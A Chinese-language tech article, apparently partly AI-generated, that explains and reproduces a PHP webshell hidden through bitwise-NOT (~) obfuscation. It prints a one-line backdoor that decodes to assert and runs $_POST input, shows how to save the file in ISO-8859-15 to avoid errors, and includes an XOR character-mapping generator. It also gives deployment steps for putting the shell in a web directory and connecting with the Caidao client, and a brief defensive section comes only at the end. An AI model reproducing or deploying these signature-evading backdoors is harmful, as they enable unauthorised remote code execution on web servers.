首页/新闻资讯/正文详情

PHP 按位取反(~)运算创建免杀后门:原理、编码陷阱与源码级复现

发布时间:2026/9/24 15:43:09 来源:云帆数科 栏目:资讯中心
PHP 按位取反(~)运算创建免杀后门:原理、编码陷阱与源码级复现
PHP 按位取反~运算创建免杀后门原理、编码陷阱与源码级复现【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell导读本文基于仓库 php/php-xor.md原文作者 Evi1m0FF0000 TEAM创建于 2014-02-04展开系统讲解 PHP 中利用按位取反运算符~构造乱码型一句话后门的原理、编码陷阱与实战复现方法。你将掌握~位运算与字符编码ISO-8859-15之间的换算关系、为什么乱码字符串能被还原为assert等函数名、以及遇到 HTTP 500 时如何从编码角度修复后门。文章同时结合仓库中的 Python 生成脚本与多份同类样本给出可直接运行的构造与校验示例。本文涉及的技术仅用于安全研究与防御对抗分析请勿用于未授权系统。1. 背景一段能输出 1337 的乱码2014 年前后Twitter 上有研究者爆出一个有趣现象一段看起来完全是乱码的字符串通过 PHP 执行后却能正常输出1337。仓库中 php/php-xor.md 记录的正是对这种现象的分析与重现过程——它很快被安全研究者联想到绕过 WAF/防火墙的后门实现思路。该乱码并非随机字节而是 PHP按位取反运算的结果对一段正常的 PHP 源码如assert、$_POST等 ASCII 字符逐字节执行~运算后会得到一串人眼不可读的高字节字符反过来再对乱码取一次反即可还原出原始 ASCII 内容。这正是后门得以隐藏的关键关键函数名与字符串以非 ASCII 形态出现在源码中绕过基于字符串特征的正则检测。2. PHP 的~按位取反运算符2.1 运算规则PHP 官方手册对位运算符的说明原文档引用可参见 PHP 手册语言参考 → 运算符 → 位运算符章节运算符名称行为~ $aNot按位取反将$a中为 0 的位设为 1反之亦然即对操作数的每个二进制位取反0 → 11 → 0。由于 PHP 整数通常按 32 位有符号处理对单字节 ASCII 字符如a01100001取反会得到11111111111111111111111110011110按 32 位展开其低 8 位为100111100x9E是一个不可打印的高字节字符。2.2 PHP 自身的典型应用error_reporting原文档指出PHP 的error_reportingini 设定本身就是按位值的经典应用。要显示除了提示E_NOTICE级别之外的所有错误php.ini 中写成error_reporting E_ALL ~E_NOTICE其运作过程32 位视角E_ALL的值00000000000000000111011111111111E_NOTICE的值00000000000000000000000000001000~E_NOTICE取反11111111111111111111111111110111再与E_ALL做按位与得到两个值中都为 1 的位00000000000000000111011111110111这一示例说明~在 PHP 中广泛用于关闭特定位的位掩码操作也是理解后门构造中取反 → 还原闭环的基础。3. 分析并重现从乱码到一句话后门3.1 直接 echo 乱码原文档作者在测试中发现直接执行echo ~1;一类表达式会原样输出一串乱码。也就是说对普通字符串按位取反后产生的是肉眼不可读的字符序列——这为隐藏关键字符串提供了天然掩护。3.2 最原始的实现样本原文档给出了当时最原始的代码实现效果对应仓库中 php/php-xor.php.md 的完整样本?php $x~¬¬º«;$x($_POST[root]); ?其思路是将assert按位取反得到变量值赋给$x再执行$x($_POST[root])即等价于assert($_POST[root])。因为取反是可逆的——乱码再取一次反即可恢复原始字符串。3.3 写成一句话后门原文档给出了更完整的复现代码?php $x~¬¬º«; // 这里定义 $x 变量为 ASSERT按位取反后的乱码形态 $x($_POST[root]); // 密码/参数为 root直接链接后门 ?要点说明$x~乱码;中乱码实际上是~assert的结果执行到这一行时 PHP 先对乱码字符串逐字节取反得到字符串assert。随后$x(...)即调用assert(...)参数来自$_POST[root]实现远程代码执行。密码为root原文档示例中使用 FF0000 作为密码的变体同样成立配合中国菜刀Caidao等客户端即可链接。3.4 从源码视角理解可逆性仓库中存在多份同类取反/异或样本可相互印证例如 php/2022-08-26-03.php?php $_GET[p]_$_GETf;以及 php/ghost_source.php 等文件中的变种。从源码结构看这类后门的通用骨架为混淆目标把assert、eval、system等关键函数名与字符串常量替换为按位运算后的乱码运行时还原PHP 解释器在执行~乱码时完成取反运算得到真实函数名动态调用通过$x($_POST[...])的变量函数形式完成调用避免直接出现敏感函数名字面量。4. 编码问题与免杀HTTP 500 的根源4.1 乱码的真实编码ISO-8859-15原文档强调直接复制乱码样本后访问HTTP 状态码往往是500根源在于编码问题。上面这类乱码实际属于**西欧ISO-8859-15**编码。若文件以默认编码如 GBK、UTF-8保存取反得到的高字节字符会被错误解码导致语法错误或函数名还原失败从而 500。因此实操铁律是必须将后门文件保存为 ISO-8859-15或 ISO-8859-1/Latin-1 等兼容西欧单字节编码编码GBK、UTF-8 等编码均不能成功使用原文档原话GBK\UTF8...均不能成功使用若默认编码无法识别该乱码手动将编码方式切换为上述西欧编码即可修复。4.2 编码问题与免杀从免杀角度看乱码型后门之所以有效是因为关键字符串函数名、参数名以非 ASCII 高字节字符形式存在绕过了大量基于assert(、eval(等字符串特征的静态检测取反运算本身是运行时行为检测方需要具备解码 二次取反还原的能力才能识别同样地编码一旦保存错误后门直接 500 不可用说明这类后门对文件编码敏感部署时需格外注意保存格式。5. 配套生成脚本与同类样本5.1 Python 一键生成脚本原文档末尾提到作者写了一个在线生成脚本Createbackdoor.php?pwdpassword。仓库中另有一份独立实现的 Python 生成器 php/create_code_with_xor.py其核心逻辑是遍历 ASCII 可打印字符枚举两两异或组合输出目标字母 字符A ^ 字符B的映射表用于构造异或型而非单纯取反型无字母数字后门keys list(range(65)) list(range(91, 97)) list(range(123, 127)) for i in keys: for j in keys: asscii_number i ^ j if (asscii_number 65 and asscii_number 90) or (asscii_number 97 and asscii_number 122): # 输出目标字母 ascii:i ^ ascii:j URL编码i ^ URL编码j该脚本的运行逻辑可以概括为收集控制字符0–64、标点91–96、123–126等非字母字符作为操作数计算两两^异或若结果为字母A–Z / a–z则记录该映射输出形如a %XX ^ %YY的映射供手工拼装无字母数字的 PHP 后门。虽然create_code_with_xor.py针对的是**异或^变体但它与本文的取反~**变体同属位运算免杀家族二者配合使用可以进一步丰富混淆手段异或需要两个操作数可互相抵消取反只需要一个操作数自反可逆实战中可结合 WAF 规则灵活选用。5.2 仓库中的同类样本仓库 php/ 目录下还收录了其他位运算 / 混淆型后门样本例如php/ghost_source.php包含异或运算的免杀样本及其源码php/2022-08-26-03.php基于变量函数的精简样本php/webshell免杀-提升兼容性.html讲解免杀后门与 PHP 兼容性提升的文档php/php-xor.php.md本文档对应的纯样本文件编码为 ISO-8859-15 的乱码后门。6. 实战校验步骤可复制执行以下步骤基于原文档描述整理可在本地 PHP 环境php -l 语法检查 / php-cli中验证原理构造还原在终端执行php -r echo ~assert;观察输出是否为不可打印乱码再执行php -r var_dump(~乱码);将上一步输出粘贴进来确认能还原出assert。验证后门将$x~乱码;$x($_POST[root]);保存为ISO-8859-15编码的.php文件用php -l检查无语法错误后部署到 Web 目录使用菜刀客户端以密码root连接。编码对照将同一文件另存为 UTF-8 后访问观察是否出现 HTTP 500以此印证编码决定成败的结论。自行生成运行 php/create_code_with_xor.pypython3 php/create_code_with_xor.py查看异或映射表输出理解位运算混淆的构造方式。7. 总结与防御视角原理~按位取反是自反运算~乱码 原字符串由此可将assert、$_POST等关键串以高字节乱码形态藏入源码编码乱码样本必须保存为ISO-8859-15等西欧单字节编码否则 PHP 500免杀位运算取反~/ 异或^是无字母数字后门的重要构造手段仓库中的 Python 生成脚本提供了异或映射表生成能力检测对防御方而言应关注文件编码异常非 UTF-8 的西欧编码 PHP 文件、变量函数动态调用模式以及高字节字符集中的可疑字符串必要时对源码进行逐字节取反/异或还原后的特征匹配。以上内容均以仓库 php/php-xor.md 及其样本 php/php-xor.php.md 为事实依据结合 php/create_code_with_xor.py 等源码展开未包含未经仓库证据支持的外部信息。【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

麦克米特控制器系统注塑机数据采集网关与解析 第三十二章
麦克米特控制器系统注塑机数据采集网关与解析 第三十二章

1. 引言在注塑行业数字化转型过程中,设备数据采集是打通生产现场与上层管理系统(如 MES、ERP)的关键环节。麦克米特(Micromite)控制器系统广泛应用于各类注塑机,其数据接口多样、协议复杂,如何通… · 2026/9/24 15:43:09

科大讯飞语音链路 Demo:从唤醒到播报的完整抽离
科大讯飞语音链路 Demo:从唤醒到播报的完整抽离

在一个桌面类 Android 项目里,语音助手经常会越写越“粘”:首页要显示状态,悬浮窗要同步状态,业务指令要启动系统设置,通话页面又要暂停麦克风。最后真正想复用的那条链路,反而被 Launcher 业务包住了。 一… · 2026/9/24 15:42:51

2026年杭州亨得利腕表质保政策与官方维保受理门店地址、电话(官方更新版)
2026年杭州亨得利腕表质保政策与官方维保受理门店地址、电话(官方更新版)

随着腕表维保需求持续增长,广大表主对于腕表质保权益、官方维保受理渠道的关注度不断提升,2026年亨得利更新杭州区域腕表质保相关政策,同步公示杭州亨得利服务中心受理门店地址、联络电话,帮助杭州及周边地区表主清晰了解自身腕表… · 2026/9/24 15:42:51

Swift-OPA 实践指南:在 Swift 应用中原生评估 OPA IR 策略计划
Swift-OPA 实践指南:在 Swift 应用中原生评估 OPA IR 策略计划

后端认证鉴权云原生 【免费下载链接】opa Open Policy Agent (OPA) is an open source, general-purpose policy engine. 项目地址: https://gitcode.com/gh_mirrors/op/opa 点击查看 免费下载 Swift-OPA 是由 Apple 发起并托管于 OPA 官方组织的 Swift 软件包&… · 2026/9/24 16:10:08

在 Accelerate 中使用 torch.compile 与区域编译(Regional Compilation):从配置到冷启动优化实战
在 Accelerate 中使用 torch.compile 与区域编译(Regional Compilation):从配置到冷启动优化实战

人工智能深度学习分布式训练 【免费下载链接】accelerate 🚀 A simple way to launch, train, and use PyTorch models on almost any device and distributed configuration, automatic mixed precision (including fp8), and easy-to-configure FSDP and DeepSpee… · 2026/9/24 16:10:08

SDR++ 完整指南:免费软件定义无线电,5 分钟听清 FM 与航空波段
SDR++ 完整指南:免费软件定义无线电,5 分钟听清 FM 与航空波段

SDR 完整指南:免费软件定义无线电,5 分钟听清 FM 与航空波段 【免费下载链接】SDRPlusPlus Cross-Platform SDR Software 项目地址: https://gitcode.com/GitHub_Trending/sd/SDRPlusPlus SDR 是一款免费、开源、跨平台的软件定义无线电&#xff… · 2026/9/24 16:10:08

【Coze】【视频】天涯实事工作流
【Coze】【视频】天涯实事工作流

今天给大家演示一个 天涯实事 Coze 视频工作流,它将大模型的新闻锐评、音频合成、字幕生成与图片排版有机结合,最终实现短视频的自动化生成。通过这个流程,可以把复杂的时事热点快速转化为带有声音、画面和字幕的完整视频,让用户直观地感受到新闻解读与创意表达的结合。 文… · 2026/9/24 16:10:01

【Coze】【视频】情感类国风水墨风格视频片段工作流
【Coze】【视频】情感类国风水墨风格视频片段工作流

今天给大家演示一个 情感类国风水墨风格视频片段工作流。该工作流能够将文本转化为极具东方意境的视频作品,结合大模型生成标题与画面提示词,配合图像生成、语音合成与剪映插件实现自动化排版与音画结合,最终形成带有国风水墨质感的视频成品。通过这一流程,用户只需提供简单… · 2026/9/24 16:10:01

下载卡在 99%、Peer 只剩个位数?trackerslist 公共 BitTorrent Tracker 列表 3 步配置完整避坑指南
下载卡在 99%、Peer 只剩个位数?trackerslist 公共 BitTorrent Tracker 列表 3 步配置完整避坑指南

下载卡在 99%、Peer 只剩个位数?trackerslist 公共 BitTorrent Tracker 列表 3 步配置完整避坑指南 【免费下载链接】trackerslist Updated list of public BitTorrent trackers 项目地址: https://gitcode.com/GitHub_Trending/tr/trackerslist 种子卡在 99… · 2026/9/24 16:09:55

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码